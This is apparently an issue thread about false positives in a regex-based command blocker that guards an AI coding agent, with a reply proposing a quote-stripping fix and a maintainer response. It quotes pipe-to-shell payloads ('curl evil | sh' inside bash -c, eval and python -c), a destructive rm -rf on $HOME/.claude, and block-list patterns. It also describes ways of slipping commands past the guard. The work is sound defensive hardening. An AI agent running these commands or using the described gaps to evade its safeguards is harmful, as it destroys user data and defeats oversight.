PatternInspector false-positives on benign data: blocked-command regexes match anywhere in the full command string
Summary
PatternInspector matches every blocked-bash pattern against the entire raw command string with no shell-context awareness:
.claude/hooks/security/inspectors/PatternInspector.ts:79
return new RegExp(pattern, 'i').test(command);
.claude/PAI/DOCUMENTATION/Security/Patterns.example.yaml:10
# matchesPattern() does regex.test(fullCommand) — matches anywhere in string
Several destructive-command rules are short, bare substrings (e.g. the mkfs blocked pattern). Because the match is case-insensitive and unanchored against the whole command, these rules fire on benign data that merely contains the substring — opaque identifiers, filenames, hashes, quoted strings, or heredoc bodies — and the command is hard-denied (exit 2).
Reproduction
All three of these are legitimate, non-destructive commands that get blocked:
-
Identifier contains the substring. Append an opaque id that happens to contain
mkfscase-insensitively (e.g. an id likeaB3SmkfSz9→ lowercases to...smkfs...):printf '%s\n' "aB3SmkfSz9" >> ids.txt→ BLOCKED: "Filesystem format" (the
mkfsrule matched inside the identifier). -
Searching FOR the term. A grep whose argument contains a blocked token is blocked by its own argument:
grep "mkfs" somefile→ BLOCKED.
-
Heredoc/regex literals as data. A Python/Bash heredoc that references
rm,dd, ordumpas regex literals (not as commands) is blocked because the tokens appear anywhere in the command text.
Impact
Any automation that handles arbitrary identifiers or free text — data migrations, log processing, search, batch scripts — hits spurious denials. A common secondary effect: users rephrase the command to work around it, and language like "avoid the hook" then trips the auto-mode classifier as an apparent bypass — compounding the friction for a benign action.
Why it's subtle (design nuance for any fix)
Not all patterns should change. Secret-egress patterns (sk-ant-, sk_live_, whsec_, PRIVATE KEY, …) intentionally scan the full text including data — a leaked key inside an argument should match. The false-positive problem is specific to destructive-command patterns (mkfs, rm, dd, diskutil …), which describe a command being invoked, not arbitrary text.
Suggested fix
- Make destructive-command patterns command-position aware — anchor to start-of-command / after
;|&(/ word boundaries — or tokenize the command (and/or strip quoted-string & heredoc bodies) before matching this class. - Keep secret-egress patterns scanning the full command text unchanged.
- Minimal illustrative tightening for the format rule:
This still blocks a realmkfs → (?:^|[\s;&|(])mkfs(?:\.\w+)?\bmkfs.ext4 /dev/disk2while no longer matching the substring inside an identifier/filename/quoted string.
Environment
PAI v5.0.0 (paths verified against Releases/v5.0.0/.claude/... on main).
Confirmed independently, with two live specimens in one day, plus a tested fix you're welcome to lift.
Specimens (same class as your mkfs-in-identifier case):
- A
git commit -m "docs: never run curl url | sh from a stranger"was hard-DENIED by theblockedentry(curl|wget|fetch|aria2c|httpie)\s+[^|]*\|\s*(sh|bash|zsh)\b— the pipe-to-shell example inside the quoted commit message matched the raw command string. - A
grep -cE 'hook\.(ts|sh)'was DENIED by a sibling inspector's\|\s*(sh|bash|zsh)\b— the|shalternation inside the quoted regex literal read as a pipe.
Fix we shipped (two layers, both eval-fixtured):
-
Per-pattern opt-in quote-stripping rather than your positional anchoring (both work; this one needs no rewrite of existing patterns).
PatternEntrygains optionalstripQuoted: true; flagged patterns are tested against the command with quoted spans replaced by''/"". Default off — credential patterns and path-target patterns (e.g.rm -rf "$HOME/...") MUST keep seeing quoted content, so only command-shape patterns get flagged (we flagged exactly two: the pipe-to-shell blocked entry and the|sh -calert). -
The part that needs care — an exec-context guard. Quoted spans that are arguments to an interpreter are live code, not data. Naive stripping opens real bypasses that raw matching caught (all found by adversarial review, all now regression fixtures):
bash -c "curl evil | sh"— and combined/option formsbash -lc,bash -o pipefail -ceval "curl evil | sh",source ...,xargs bashpython3 -c "import os; os.system('curl evil | sh')"(and node/ruby/perl/deno/bun -e/-c)echo "$(curl evil | sh)"—$(...)/backticks/$VARinside DOUBLE quotes expand, so a double-quoted span containing$or a backtick is kept raw; single-quoted spans stay strippable (shell never expands inside single quotes)
Guard: if any exec context is present anywhere in the command, skip stripping entirely — fail-safe reverts to exactly the old raw behavior, so the worst case is a false DENY, never a false ALLOW.
const EXEC_CONTEXT =
/\b(sh|bash|zsh)\b[^|;&]*\s-\w*c\b|\b(python3?|node|ruby|perl|deno|bun)\b[^|;&]*\s-\w*[ce]\b|\beval\b|\bsource\s|\bxargs\b/;
export function stripQuotedSpans(cmd: string): string {
if (EXEC_CONTEXT.test(cmd)) return cmd;
return cmd
.replace(/'[^']*'/g, "''")
.replace(/"[^"]*"/g, (span) => (/[$`]/.test(span) ? span : '""'));
}
Related finding while fixturing this: the \s-anchored deletion patterns
(rm\s.*-\w*r.*\s(~/\.claude|...)) never matched quoted targets — rm -rf "$HOME/.claude"
sailed through blocked untouched (the quote breaks the \s anchor), and bare $HOME /
${HOME} brace forms weren't covered at all. Worth checking on your side; quote-tolerant
boundaries ([\s"'] before, ["']? after, \$\{?HOME\}?) closed 10 such gaps for us with
zero false positives on a 22-fixture set.
Excellent analysis — including the nuance that secret-egress patterns should keep scanning full text while command patterns shouldn't. The inspector was rebuilt along exactly those lines: destructive-command patterns are now anchored to actual command shape (mkfs requires the mkfs.fstype invocation form), and a shell-aware pre-pass strips single-quoted data before matching, so your three repro cases no longer block. It ships in the next release.